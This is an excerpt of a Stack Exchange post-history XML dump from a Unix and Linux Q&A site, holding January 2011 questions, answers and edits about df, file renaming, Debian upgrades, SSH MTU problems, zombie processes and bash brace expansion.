  <row Id="13646" PostHistoryTypeId="2" PostId="6014" RevisionGUID="f77d97fd-9148-4b84-b8f7-25bfbde0e5b6" CreationDate="2011-01-18T03:30:59.427" UserId="1207" Text="*Note:* I'm not sure what `dh -f` does as the only command on my system called &quot;dh&quot; has nothing to do with finding available free space.  A command commonly used for this is `df` which does not have a `-f` option.  However, the GNU version of `df` does have a `-h` which produces human-readable sizes.  I am going to assume you meant `df -h`.&#xD;&#xA;&#xD;&#xA;If you are using GNU `df`, the output can be made a bit easier to parse by using the `-P` option which will ensure that:&#xD;&#xA;&#xD;&#xA;&gt; 1. The information about each file system is always printed on&#xD;&#xA;&gt;           exactly one line; a mount device is never put on a line by&#xD;&#xA;&gt;           itself.  This means that if the mount device name is more&#xD;&#xA;&gt;           than 20 characters long (e.g., for some network mounts), the&#xD;&#xA;&gt;           columns are misaligned.&#xD;&#xA;&#xD;&#xA;This makes it much easier to get just the free space available:&#xD;&#xA;&#xD;&#xA;    $ df -Ph $(pwd) | tail -1 | awk '{print $4}'&#xD;&#xA;&#xD;&#xA;If we pass `df` a path, it is only going to return 2 rows: a header row and then the data about the file system that contains the path. We can use tail to grab just the second row.  We know that the space available is in the 4th column, so we grab that with `awk`.  This all could be done with `awk` or some other set of [filters][1], but I think this particular set is pretty intuitive.  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/artu/ch11s06.html#id2957637" />
  <row Id="13647" PostHistoryTypeId="5" PostId="6012" RevisionGUID="7f319bf8-eb4f-45c4-bd11-a839a79da52b" CreationDate="2011-01-18T03:40:36.783" UserId="1207" Comment="added 2 characters in body" Text="Something like this:&#xD;&#xA;&#xD;&#xA;    for i in *; do mv &quot;$i&quot; $(openssl rand -hex 16).$(echo $i | sed 's/.*\.//g'); done&#xD;&#xA;&#xD;&#xA;Using `openssl rand 16` gives you 128 bit GUIDs. Use 32 if you want 265 bit GUIDs." />
  <row Id="13648" PostHistoryTypeId="2" PostId="6015" RevisionGUID="780adf26-93df-438c-a9c2-65d482f074bf" CreationDate="2011-01-18T03:42:46.373" UserId="3455" Text="I'm going to assume you've got Debian lenny and have your sourcelist geared towards the stable release which by default only has python2.5 (someone correct me?)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;From a brief scan of their package tree, python3.1 exists in the Debian Sid (unstable) and Debian Squeeze (testing) tree.&#xD;&#xA;[See Here][1]&#xD;&#xA;&#xD;&#xA;You can `w-get` directly from the links provided, but that's often messy as you'll need to resolve any dependencies yourself through a game of *what don't I have?* with the CLI.&#xD;&#xA;&#xD;&#xA;If you're apt for switching your package tree to squeeze, you can change your `/etc/apt/sources.list` to match that of the squeeze tree. From there, you can `aptitude update` then `aptitude install python` and you should have python3.1 and all its dependencies in tow. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://packages.debian.org/search?keywords=python3.1" />
  <row Id="13649" PostHistoryTypeId="4" PostId="6008" RevisionGUID="090e8690-9803-4c63-8d91-454a5f10a2ab" CreationDate="2011-01-18T03:43:04.407" UserId="1207" Comment="edited title" Text="Get the free space available in current directory in Bash." />
  <row Id="13650" PostHistoryTypeId="2" PostId="6016" RevisionGUID="92b95a93-2b32-4255-a2da-ab0e30199fb8" CreationDate="2011-01-18T03:47:53.610" UserId="2180" Text="You can use the audio port to create a time-varied differential voltage signal. You can't short the contacts together, though. In fact, you might even damage the dac in your computer if you connected it since doing that would force the dac outputs to whatever voltage level the hotshoe is.&#xD;&#xA;&#xD;&#xA;If you really want to do this, you might want to use a USB gpio board (like [this one][1]) and make a circuit that shorts your contacts. The folks at [Chiphacker (aka Electronics &amp; Robotics)][2] would be able to help you with any questions about that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.sparkfun.com/products/199&#xD;&#xA;  [2]: http://chiphacker.com/" />
  <row Id="13651" PostHistoryTypeId="2" PostId="6017" RevisionGUID="3b607fd5-c9bd-4bc4-999c-8724c5a15b70" CreationDate="2011-01-18T04:32:53.133" UserId="3309" Text="Deselect doesn't have any of the wonderful dependency resolution, but you can kind of think of deselect as a curses based &quot;synaptic&quot;. However, you only want to make selections with deselect, don't actually do the installation.&#xD;&#xA;&#xD;&#xA;After making selections run this:&#xD;&#xA;&#xD;&#xA;    apt-get dselect-upgrade&#xD;&#xA;&#xD;&#xA;Best of both worlds." />
  <row Id="13652" PostHistoryTypeId="5" PostId="6014" RevisionGUID="82747672-e5d3-426c-8f44-b4c74fb45f9b" CreationDate="2011-01-18T04:39:12.643" UserId="1207" Comment="added 66 characters in body" Text="*Note:* I'm not sure what `dh -f` does as the only command on my system called &quot;dh&quot; has nothing to do with finding available free space.  A command commonly used for this is `df` which does not have a `-f` option.  However, the GNU version of `df` does have a `-h` which produces human-readable sizes.  I am going to assume you meant `df -h`.&#xD;&#xA;&#xD;&#xA;If you are using GNU `df`, the output can be made a bit easier to parse by using the `-P` option which will ensure that:&#xD;&#xA;&#xD;&#xA;&gt; 1. The information about each file system is always printed on&#xD;&#xA;&gt;           exactly one line; a mount device is never put on a line by&#xD;&#xA;&gt;           itself.  This means that if the mount device name is more&#xD;&#xA;&gt;           than 20 characters long (e.g., for some network mounts), the&#xD;&#xA;&gt;           columns are misaligned.&#xD;&#xA;&#xD;&#xA;This makes it much easier to get just the free space available:&#xD;&#xA;&#xD;&#xA;    $ df -Ph $PWD | tail -1 | awk '{print $4}'&#xD;&#xA;&#xD;&#xA;If we pass `df` a path, it is only going to return 2 rows: a header row and then the data about the file system that contains the path. `$PWD` is an environmental variable that contains the working directory. We can use tail to grab just the second row.  We know that the space available is in the 4th column, so we grab that with `awk`.  This all could be done with `awk`:&#xD;&#xA;&#xD;&#xA;    $ df -Ph $PWD | awk 'NR==2 {print $4}'&#xD;&#xA;&#xD;&#xA; or many other sets of [filters][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/artu/ch11s06.html#id2957637" />
  <row Id="13653" PostHistoryTypeId="5" PostId="5896" RevisionGUID="f5f2d05b-e7ca-4a89-bd56-1b77fc27e934" CreationDate="2011-01-18T04:49:10.393" UserId="250" Comment="added 295 characters in body" Text="Grub can boot FreeBSD and that's the way I'd do it because I'm more familiar with Grub. I gave up on FreeBSD because of driver problems but I was able to dual boot it with Ubuntu and you should be able to do so as well. Here is a [post][1] found by googling.&#xD;&#xA;&#xD;&#xA;Regarding partitions, you can make any setup you want because both Linux and BSD can boot from logical partitions. So you can have 1 extended partition with lots of logical ones, or 3 primary partitions and 1 extended partition. It's up to you. **Update**: in a comment AlexD stated that FreeBSD can only boot from a primary partition. I'm not entirely sure about this but he is probably right. In that case you should spend 3 primary partitions for BSDs and logical ones for Linux (I'm pretty sure Linux can boot from logical partitions).&#xD;&#xA;&#xD;&#xA;`fdisk` deserves a separated question, but have you ever really tried to use it? I find `fdisk` pretty straightforward. If you find it complicated you can try a live CD with GParted. The openSUSE live CD should have a GUI partitioning tool as well, but I'm not sure (I'm more familiar with Ubuntu).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.doof.me.uk/2009/11/27/getting-grub2-to-dual-boot-debian-and-freebsd/" />
  <row Id="13654" PostHistoryTypeId="25" PostId="6011" RevisionGUID="8d4892fc-d80d-40c0-b095-191acacc1e34" CreationDate="2011-01-18T04:55:39.727" Comment="http://twitter.com/#!/StackUnix/status/27227597033185280" />
  <row Id="13655" PostHistoryTypeId="2" PostId="6018" RevisionGUID="c64cca8d-9ee0-470d-9bcb-7b90cf26e832" CreationDate="2011-01-18T05:11:28.590" UserId="3038" Text="[LinkChecker][1]. &#xD;&#xA;&#xD;&#xA;&gt; LinkChecker is a free, GPL licensed URL validator.&#xD;&#xA;&gt;&#xD;&#xA;&gt;**Features**&#xD;&#xA;&gt;&#xD;&#xA;&gt; - recursive and multithreaded checking&#xD;&#xA;&gt; - output in colored or normal text, HTML, SQL, CSV, XML or a sitemap graph in different formats&#xD;&#xA;&gt; - HTTP/1.1, HTTPS, FTP, mailto:, news:, nntp:, Telnet and local file links support&#xD;&#xA;&gt; - restriction of link checking with regular expression filters for URLs&#xD;&#xA;&gt; - proxy support&#xD;&#xA;&gt; - username/password authorization for HTTP and FTP and Telnet&#xD;&#xA;&gt; - honors robots.txt exclusion protocol&#xD;&#xA;&gt; - Cookie support&#xD;&#xA;&gt; - HTML and CSS syntax check&#xD;&#xA;&gt; - Antivirus check&#xD;&#xA;&gt; - Different interfaces: command line, GUI and web interface&#xD;&#xA;&#xD;&#xA;It's also in Debian Lenny: `aptitude install linkchecker`&#xD;&#xA;  [1]: http://linkchecker.sourceforge.net/" />
  <row Id="13656" PostHistoryTypeId="2" PostId="6019" RevisionGUID="1abb44c6-441d-475d-b933-10b373d6fe96" CreationDate="2011-01-18T06:23:47.577" UserId="3274" Text="I'm going to answer by only inserting spaces as required so a space appears at least after every 4 characters on a line; not sure which way you want to handle this case.  For example, given input of &quot;aa bbccdd&quot;, you'd get output &quot;aa bbcc dd&quot; rather than &quot;aa b bccd d&quot;.&#xD;&#xA;&#xD;&#xA;I'm using Perl for lookahead, but I'm not very familiar with Perl in general, so there may be tweaks needed:&#xD;&#xA;&#xD;&#xA;    $ echo &quot;foobarbazblargblurg&quot; | perl -wp -e 's/[^ ]{4}(?=[^\n ])/$&amp; /g'&#xD;&#xA;    foob arba zbla rgbl urg&#xD;&#xA;&#xD;&#xA;    $ echo 'aa bbccdd' | perl -wp -e 's/[^ ]{4}(?=[^\n ])/$&amp; /g'&#xD;&#xA;    aa bbcc dd&#xD;&#xA;    # not 'aa b bccd d'!&#xD;&#xA;&#xD;&#xA;    $ echo 'some input' | perl -wp -e 's/[^ ]{4}(?=[^\n ])/$&amp; /g'&#xD;&#xA;    some inpu t&#xD;&#xA;    # not 'some  inp ut'!&#xD;&#xA;&#xD;&#xA;    $ echo $'aabb\nc cddee' | perl -wp -e 's/[^ ]{4}(?=[^\n ])/$&amp; /g' | &#xD;&#xA;    &gt; while read; do echo &quot;${REPLY}x&quot;; done&#xD;&#xA;    aabbx&#xD;&#xA;    c cdde ex&#xD;&#xA;    # no spaces added at the end of the first line (while loop to add to the end of&#xD;&#xA;    # the line and show this)&#xD;&#xA;" />
  <row Id="13658" PostHistoryTypeId="5" PostId="6008" RevisionGUID="965b3435-fb77-4cf3-ba3b-6f445550f96c" CreationDate="2011-01-18T07:00:37.957" UserId="1875" Comment="edited body" Text="I know `df -h` and `pwd`, but it seems a little complex for the regex matching part. Any ideas?" />
  <row Id="13659" PostHistoryTypeId="5" PostId="6012" RevisionGUID="326517c6-e01d-44dd-b9dd-9e4c3b62812e" CreationDate="2011-01-18T07:23:50.293" UserId="3309" Comment="Typo" Text="Something like this:&#xD;&#xA;&#xD;&#xA;    for i in *; do mv &quot;$i&quot; $(openssl rand -hex 16).$(echo $i | sed 's/.*\.//g'); done&#xD;&#xA;&#xD;&#xA;Using `openssl rand 16` gives you 128 bit GUIDs. Use 32 if you want 256 bit GUIDs." />
  <row Id="13660" PostHistoryTypeId="2" PostId="6021" RevisionGUID="4642d539-9b54-4b2a-beb8-0c2ffe1332d0" CreationDate="2011-01-18T07:34:28.390" UserId="2327" Text="How about doing `df -h .`. This will give you the available free space of the partition your current working directory is in.&#xD;&#xA;&#xD;&#xA;A small example:&#xD;&#xA;&#xD;&#xA;     /usr/local/nagios/libexec # df -h .&#xD;&#xA;     Filesystem            Size  Used Avail Use% Mounted on&#xD;&#xA;     /dev/mapper/vg00-lvol1&#xD;&#xA;                           9.9G  6.1G  3.4G  65% /&#xD;&#xA;" />
  <row Id="13661" PostHistoryTypeId="25" PostId="6008" RevisionGUID="b9349480-0b2a-4c5d-801e-ab47d64b10ce" CreationDate="2011-01-18T07:55:39.830" Comment="http://twitter.com/#!/StackUnix/status/27272895784820736" />
  <row Id="13662" PostHistoryTypeId="5" PostId="6014" RevisionGUID="3e6007ac-36e5-4717-b549-6d8e6530ecc6" CreationDate="2011-01-18T08:21:28.717" UserId="1207" Comment="deleted 346 characters in body" Text="If you are using GNU `df`, the output can be made a bit easier to parse by using the `-P` option which will ensure that:&#xD;&#xA;&#xD;&#xA;&gt; 1. The information about each file system is always printed on&#xD;&#xA;&gt;           exactly one line; a mount device is never put on a line by&#xD;&#xA;&gt;           itself.  This means that if the mount device name is more&#xD;&#xA;&gt;           than 20 characters long (e.g., for some network mounts), the&#xD;&#xA;&gt;           columns are misaligned.&#xD;&#xA;&#xD;&#xA;This makes it much easier to get just the free space available:&#xD;&#xA;&#xD;&#xA;    $ df -Ph $PWD | tail -1 | awk '{print $4}'&#xD;&#xA;&#xD;&#xA;If we pass `df` a path, it is only going to return 2 rows: a header row and then the data about the file system that contains the path. `$PWD` is an environmental variable that contains the working directory. We can use tail to grab just the second row.  We know that the space available is in the 4th column, so we grab that with `awk`.  This all could be done with `awk`:&#xD;&#xA;&#xD;&#xA;    $ df -Ph $PWD | awk 'NR==2 {print $4}'&#xD;&#xA;&#xD;&#xA; or many other sets of [filters][1].&#xD;&#xA;&#xD;&#xA;  [1]: http://www.faqs.org/docs/artu/ch11s06.html#id2957637" />
  <row Id="13663" PostHistoryTypeId="2" PostId="6022" RevisionGUID="c06dda73-03d3-46f8-8847-c6448fa77ded" CreationDate="2011-01-18T08:32:47.130" UserId="3913" Text="Hi there,&#xD;&#xA;&#xD;&#xA;Try to look at this link http://www.linuxquestions.org/questions/slackware-14/sendmail-block-email-to-particular-user-on-same-domain-676596/&#xD;&#xA;&#xD;&#xA;That might work for you too.&#xD;&#xA;&#xD;&#xA;Ismael Casimpan :)" />
  <row Id="13664" PostHistoryTypeId="2" PostId="6023" RevisionGUID="c8d580cd-5fce-49d6-b0ab-f935daa25372" CreationDate="2011-01-18T08:49:34.390" UserId="3646" Text="Perl one liner below - the use of *cat* to get the uuid isn't the cleanest/fastest way to code it, but it keeps the command short: &#xD;&#xA;&#xD;&#xA;    \ls -1 *.file_ext | perl -nle 'my $uid=qx|cat /proc/sys/kernel/random/uuid|; chomp $uid; (my $new=$_)=~s#(.*)\.#$uid.#; rename($_, $new)'&#xD;&#xA;&#xD;&#xA;The above uses a file in /proc on linux as a source of uuids:&#xD;&#xA;&#xD;&#xA;    [bash#] cat /proc/sys/kernel/random/uuid&#xD;&#xA;    d474706f-b18c-4e4b-8762-5ed577c74ac3&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13665" PostHistoryTypeId="2" PostId="6024" RevisionGUID="952c8544-4496-4df1-9ba2-d15d1ed9e2cb" CreationDate="2011-01-18T09:00:43.940" UserId="3901" Text="The question is: I have a laptop, and I extend my desktop on external display, so I get a wide desktop (3200px). When I make the videos on flash fullscreen, don't know why, but the fullscreen appears on my little part of desktop (the laptop display).&#xD;&#xA;&#xD;&#xA;Is there any way to tell flash to play fullscreen on my bigger part?" />
  <row Id="13666" PostHistoryTypeId="1" PostId="6024" RevisionGUID="952c8544-4496-4df1-9ba2-d15d1ed9e2cb" CreationDate="2011-01-18T09:00:43.940" UserId="3901" Text="Flash question, big screen" />
  <row Id="13667" PostHistoryTypeId="3" PostId="6024" RevisionGUID="952c8544-4496-4df1-9ba2-d15d1ed9e2cb" CreationDate="2011-01-18T09:00:43.940" UserId="3901" Text="éflashà" />
  <row Id="13668" PostHistoryTypeId="2" PostId="6025" RevisionGUID="afe05af3-a2b6-4910-802d-0bc3c2d9839d" CreationDate="2011-01-18T09:15:59.417" UserId="688" Text="I wrote [elsewhere][1] that if you are mainly interested in stability, Squeeze (soon to be declared stable) is your best bet at the moment. The easier solution is to do a fresh install of it ([download page][2]).&#xD;&#xA;&#xD;&#xA;Another option is to upgrade. If you choose this option:&#xD;&#xA;&#xD;&#xA;1. in &quot;__/etc/apt/sources.list__&quot;, replace all occurences of __lenny__ (sometimes __stable__) with __squeeze__&#xD;&#xA;2. proceed to the usual `apt-get update &amp;&amp; apt-get upgrade`&#xD;&#xA;3. monitor what will be installed (to ensure that you wont screw your precious installation)&#xD;&#xA;&#xD;&#xA;[__note__] The [default Python version in Squeeze][3] is 2.6, and is [planned to be made 2.7][4] after release.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://unix.stackexchange.com/questions/5506/for-deploying-a-public-facing-webapp-debian-lenny-or-debian-squeeze/5508#5508&#xD;&#xA;  [2]: http://www.debian.org/devel/debian-installer/&#xD;&#xA;  [3]: http://packages.debian.org/squeeze/python&#xD;&#xA;  [4]: http://ask.debian.net/questions/default-python-for-7-0-wheezy" />
  <row Id="13669" PostHistoryTypeId="2" PostId="6026" RevisionGUID="31281a00-d2b0-47a0-b6f8-4727be898334" CreationDate="2011-01-18T09:44:23.167" UserId="3309" Text="Flash will enter full screen mode on your primary display. In the configuration for your dual monitor set up there should be the option to set the external as the primary display." />
  <row Id="13670" PostHistoryTypeId="5" PostId="6017" RevisionGUID="0a491122-9bdc-4dee-81d3-f80e04c4d26f" CreationDate="2011-01-18T09:56:39.367" UserId="3309" Comment="By request." Text="Deselect doesn't have any of the wonderful dependency resolution, but you can kind of think of deselect as a curses based &quot;synaptic&quot;. However, you only want to make selections with deselect; don't actually do the installation.&#xD;&#xA;&#xD;&#xA;After making selections run this:&#xD;&#xA;&#xD;&#xA;    apt-get dselect-upgrade&#xD;&#xA;&#xD;&#xA;Best of both worlds." />
  <row Id="13671" PostHistoryTypeId="2" PostId="6027" RevisionGUID="cd03146f-f5d8-4e2f-a4a1-40097920f4d2" CreationDate="2011-01-18T09:56:53.747" UserId="1639" Text="A simple approach would be to set up a .procmailrc file in Alice's home directory to throw away mail from Jack (see &quot;man procmail&quot;)." />
  <row Id="13673" PostHistoryTypeId="2" PostId="6029" RevisionGUID="a175937c-7aea-48a9-b84a-e8e7f1acdc76" CreationDate="2011-01-18T10:07:11.010" UserId="688" Text="Run `gnome-system-monitor` (package is the same name in Debian, Ubuntu, and Fedora), and click on the __System__ tab:&#xD;&#xA;&#xD;&#xA;![alt text][1]&#xD;&#xA;&#xD;&#xA;The desktop thing is a little hard because you can have multiple ones installed, and can run one package belonging to one desktop on a different desktop. Also, running `printenv DESKTOP_SESSION` on my Debian system just outputs `default` (but it works well on Ubuntu and Fedora).&#xD;&#xA;&#xD;&#xA;  [1]: http://i.imgur.com/Azfb5.png" />
  <row Id="13674" PostHistoryTypeId="25" PostId="6024" RevisionGUID="599bd548-66cd-4b6c-b18c-eaa001cd8775" CreationDate="2011-01-18T10:55:39.690" Comment="http://twitter.com/#!/StackUnix/status/27318193492074496" />
  <row Id="13675" PostHistoryTypeId="2" PostId="6030" RevisionGUID="2f2cb629-6b1e-4261-8b08-f0c644067b49" CreationDate="2011-01-18T11:39:53.143" UserId="3378" Text="Hello...  &#xD;&#xA;When i try to connect from a remote computer not in the local network via ssh i get into trouble..  &#xD;&#xA;WHen i try to execute a TUI application it hangs and i cant do anything...  &#xD;&#xA;I type ./menu and then nothing happens.  &#xD;&#xA;However this program runs with no problem when connecting with ssh with a local ip.  (another computer in the local network)&#xD;&#xA;&#xD;&#xA;But this 100% same  program is installed also to another computer. WHen connecting via ssh to the other computer with a remote ip i get no problem!&#xD;&#xA;" />
  <row Id="13676" PostHistoryTypeId="1" PostId="6030" RevisionGUID="2f2cb629-6b1e-4261-8b08-f0c644067b49" CreationDate="2011-01-18T11:39:53.143" UserId="3378" Text="ssh problems only when connecting from remote ip" />
  <row Id="13677" PostHistoryTypeId="3" PostId="6030" RevisionGUID="2f2cb629-6b1e-4261-8b08-f0c644067b49" CreationDate="2011-01-18T11:39:53.143" UserId="3378" Text="ésshà" />
  <row Id="13678" PostHistoryTypeId="2" PostId="6031" RevisionGUID="1aeb994d-9228-4a8e-a8e7-7a7d2b0892d1" CreationDate="2011-01-18T12:03:55.687" UserId="3886" Text="Seems like broken [PMTUD][1]. Check MTU an all involved computers and use `ping -D` to determine which maximum packet size can be transmitted over path to remote host.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/Path_MTU_Discovery" />
  <row Id="13679" PostHistoryTypeId="2" PostId="6032" RevisionGUID="0fd23147-3f78-4f2c-ba3e-07ad47d29775" CreationDate="2011-01-18T12:04:45.667" UserId="3919" Text="Hi all,&#xD;&#xA;&#xD;&#xA;I have a big application (in C++) which generates time by time defunct process. I know the application uses intensively linux commands inside. I would need to know which linux commands were called by those sh defunct process, is it possible to find out. Or, is it possible to set up linux and get a sort of log when my application calls linux commands?&#xD;&#xA;&#xD;&#xA;Thx.&#xD;&#xA;Luke&#xD;&#xA;" />
  <row Id="13680" PostHistoryTypeId="1" PostId="6032" RevisionGUID="0fd23147-3f78-4f2c-ba3e-07ad47d29775" CreationDate="2011-01-18T12:04:45.667" UserId="3919" Text="Track [sh] &lt;defunct&gt; for debug purposes ?" />
  <row Id="13681" PostHistoryTypeId="3" PostId="6032" RevisionGUID="0fd23147-3f78-4f2c-ba3e-07ad47d29775" CreationDate="2011-01-18T12:04:45.667" UserId="3919" Text="élinuxàéshellà" />
  <row Id="13682" PostHistoryTypeId="2" PostId="6033" RevisionGUID="3cf8c55d-caef-4fb1-b5a3-16d448f10373" CreationDate="2011-01-18T12:18:28.730" UserId="2269" Text="hi,&#xD;&#xA;&#xD;&#xA;Could you please give me some user space examples of using inb, inl, inw to access kernel space in Linux?&#xD;&#xA;&#xD;&#xA;/Kanu" />
  <row Id="13683" PostHistoryTypeId="1" PostId="6033" RevisionGUID="3cf8c55d-caef-4fb1-b5a3-16d448f10373" CreationDate="2011-01-18T12:18:28.730" UserId="2269" Text="Usage of inb, inl, inw to access kernel space from user space" />
  <row Id="13684" PostHistoryTypeId="3" PostId="6033" RevisionGUID="3cf8c55d-caef-4fb1-b5a3-16d448f10373" CreationDate="2011-01-18T12:18:28.730" UserId="2269" Text="ékernelàéprogrammingàédriversà" />
  <row Id="13685" PostHistoryTypeId="2" PostId="6034" RevisionGUID="fd0f3a42-4b92-4c9e-9d6e-970742919432" CreationDate="2011-01-18T12:29:12.877" UserId="872" Text="From [Wikipedia][1]:&#xD;&#xA;&#xD;&#xA;&gt; A defunct process is a process that&#xD;&#xA;&gt; has completed execution but still has&#xD;&#xA;&gt; an entry in the process table. This&#xD;&#xA;&gt; entry is still needed to allow the&#xD;&#xA;&gt; process that started the (now zombie)&#xD;&#xA;&gt; process to read its exit status.&#xD;&#xA;&#xD;&#xA;Is your C++ code calling `wait()`? If you get the exit status by calling `wait()` the defunct process should disappear.&#xD;&#xA;&#xD;&#xA;[1]: http://en.wikipedia.org/wiki/Zombie_process" />
  <row Id="13686" PostHistoryTypeId="2" PostId="6035" RevisionGUID="292a91cc-1136-421f-8d7b-df2928e9e3b4" CreationDate="2011-01-18T12:34:26.983" UserId="2573" Text="I understood what [brace expansion][1] is.  &#xD;&#xA;But I don't know where I use that.&#xD;&#xA;&#xD;&#xA;When do you use it?  &#xD;&#xA;Please teach me some convenient and remarkable examples if you have your own tip.&#xD;&#xA;&#xD;&#xA;P.S There is no tag brace-expansion yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/bash/manual/bashref.html#Brace-Expansion" />
  <row Id="13687" PostHistoryTypeId="1" PostId="6035" RevisionGUID="292a91cc-1136-421f-8d7b-df2928e9e3b4" CreationDate="2011-01-18T12:34:26.983" UserId="2573" Text="When do you use brace expansion?" />
  <row Id="13688" PostHistoryTypeId="3" PostId="6035" RevisionGUID="292a91cc-1136-421f-8d7b-df2928e9e3b4" CreationDate="2011-01-18T12:34:26.983" UserId="2573" Text="élinuxàébashàéshellàéunixàéshellöscriptà" />
  <row Id="13689" PostHistoryTypeId="2" PostId="6036" RevisionGUID="b61ecd41-425d-4878-8857-4482a8643fa2" CreationDate="2011-01-18T13:08:48.740" UserId="872" Text="Brace expansion is very useful if you have long path names. I use it as a quick way to **backup a file**:&#xD;&#xA;&#xD;&#xA;    cp /a/really/long/path/to/some/file.txt{,.bak}&#xD;&#xA;&#xD;&#xA;will copy `/a/really/long/path/to/some/file.txt` to `/a/really/long/path/to/some/file.txt.bak`&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;You can also use it in a **sequence**. I once did so to download lots of pages from the web:&#xD;&#xA;&#xD;&#xA;    wget http://domain.com/book/page{1..5}.html&#xD;&#xA;&#xD;&#xA;or&#xD;&#xA;&#xD;&#xA;    for i in {1..100}&#xD;&#xA;    do&#xD;&#xA;       #do something 100 times&#xD;&#xA;    done&#xD;&#xA;&#xD;&#xA;" />
  <row Id="13690" PostHistoryTypeId="2" PostId="6037" RevisionGUID="1008303e-527d-4cf2-aad9-8ae4504b7b64" CreationDate="2011-01-18T13:11:07.390" UserId="688" Text="I use it when I want to reduce typing. Compare these:&#xD;&#xA;&#xD;&#xA;    geany /path/to/file/file1 /path/to/file/file2&#xD;&#xA;    # versus&#xD;&#xA;    geany /path/to/file/file{1,2}&#xD;&#xA;&#xD;&#xA;Another example:&#xD;&#xA;&#xD;&#xA;    wajig install lib{pam0g,iw,db}-dev&#xD;&#xA;    # versus&#xD;&#xA;    wajig install libpam0g-dev libiw-dev libdb-dev&#xD;&#xA;" />
  <row Id="13691" PostHistoryTypeId="5" PostId="6030" RevisionGUID="9aefb0c4-f9b0-4e72-8482-c50048d525c8" CreationDate="2011-01-18T13:12:39.587" UserId="3378" Comment="added 56 characters in body" Text="Hello...  &#xD;&#xA;When i try to connect from a remote computer not in the local network via ssh i get into trouble..  &#xD;&#xA;WHen i try to execute a TUI application it hangs and i cant do anything...  &#xD;&#xA;I type ./menu and then nothing happens.  &#xD;&#xA;However this program runs with no problem when connecting with ssh with a local ip.  (another computer in the local network)&#xD;&#xA;&#xD;&#xA;But this 100% same  program is installed also to another computer. WHen connecting via ssh to the other computer with a remote ip i get no problem!&#xD;&#xA;&#xD;&#xA;**SOLUTION**  &#xD;&#xA;I increased the MTU value of my router" />
  <row Id="13692" PostHistoryTypeId="2" PostId="6038" RevisionGUID="c44c0082-0da9-4c1b-97dd-35db144517ed" CreationDate="2011-01-18T13:13:44.960" UserId="3551" Text="I looked at it once, it's quite painful, because all is defined statically in the c++ source code.&#xD;&#xA;&#xD;&#xA;You have to define a certain number of rules among the one already existing in scintilla, for things like... well it's quite mangled. You can quickly search for &quot;scintilla lexer&quot; on google, but you to understand that syntax highlighters are very sophisticated to code, just look at notepad++ and all its features: it's almost a code parser, which is found in compilers.&#xD;&#xA;&#xD;&#xA;On top of that, a scintilla lexer can be made for any type of language.&#xD;&#xA;&#xD;&#xA;Another problem is that coloring the text has to be platform agnostic, and again, I guess it favors windows (duh), and don't forget the font renderer, which can also be another thing.&#xD;&#xA;&#xD;&#xA;I'm not sure scintilla has been ported to gnome or kde, has it ?" />
  <row Id="13693" PostHistoryTypeId="2" PostId="6039" RevisionGUID="0476d808-59cd-4c0a-b2e9-dc668a337879" CreationDate="2011-01-18T13:23:09.847" UserId="3551" Text="You should search for &quot;learn python in 10 minutes&quot;.&#xD;&#xA;&#xD;&#xA;It covers the most useful python features: lists, tuples, dictionnaries, classes, and of course its awesome indentation system.&#xD;&#xA;&#xD;&#xA;Learn it, I personnaly considering python as important after C\C++, because it does so much by default, and as a scripting language, it serves a lot.&#xD;&#xA;&#xD;&#xA;Advantages:&#xD;&#xA;&#xD;&#xA;- Features everything you'll need as a programmer&#xD;&#xA;- A VERY clean and easy syntax, its author says it can be 3 to 4 times more productive than c/c++&#xD;&#xA;&#xD;&#xA;Disadvantages:&#xD;&#xA;&#xD;&#xA;- Speed, but if you're not programming low level where performance matters, it's sufficient." />
  <row Id="13694" PostHistoryTypeId="2" PostId="6040" RevisionGUID="df090d01-3209-4367-a5ee-bd86e425981f" CreationDate="2011-01-18T13:36:23.993" UserId="3879" Text="Also,&#xD;&#xA;&#xD;&#xA;    kill `pgrep -f &quot;ssh.*-D&quot;`" />
  <row Id="13695" PostHistoryTypeId="2" PostId="6041" RevisionGUID="a90e9311-cec1-4282-b70c-7c0b8a397f0d" CreationDate="2011-01-18T13:48:13.137" UserId="3551" Text="The choosen answer explains it quite exhaustively, but you would have to watch a whole documentary to know all the details between the UNIX initial developement, and how Linux went out.&#xD;&#xA;&#xD;&#xA;First you have to consider that Linux is the kernel, which was made by linus and other programmers. He chose to release it with the GPL, which by the time was a license made by the FSF, (RMS and other folks), who were also developping their own kernel and GNU.&#xD;&#xA;&#xD;&#xA;What we usually call Linux is, at first, the kernel, plus all other tools originally coming from the GNU project. Those two project are historically different, because at the time, the kernel from the FSF folks was abandonned to favor the Linux kernel, which was much better.&#xD;&#xA;&#xD;&#xA;I remember there is a documentary, you should really watch it, I find it important for your programming culture.&#xD;&#xA;&#xD;&#xA;Another thing you have to consider when thinking about &quot;*nix&quot;, is also everying involving POSIX and other architecture-standardised stuff. It's subject of OS design/research, but it defines precisely how the involved OSes works, and is crucial when you have a kernel working well with its tools." />
  <row Id="13696" PostHistoryTypeId="25" PostId="6035" RevisionGUID="bbfd2be9-1850-4e9c-98c0-d9586ea2f4d1" CreationDate="2011-01-18T13:55:40.173" Comment="http://twitter.com/#!/StackUnix/status/27363493703323648" />
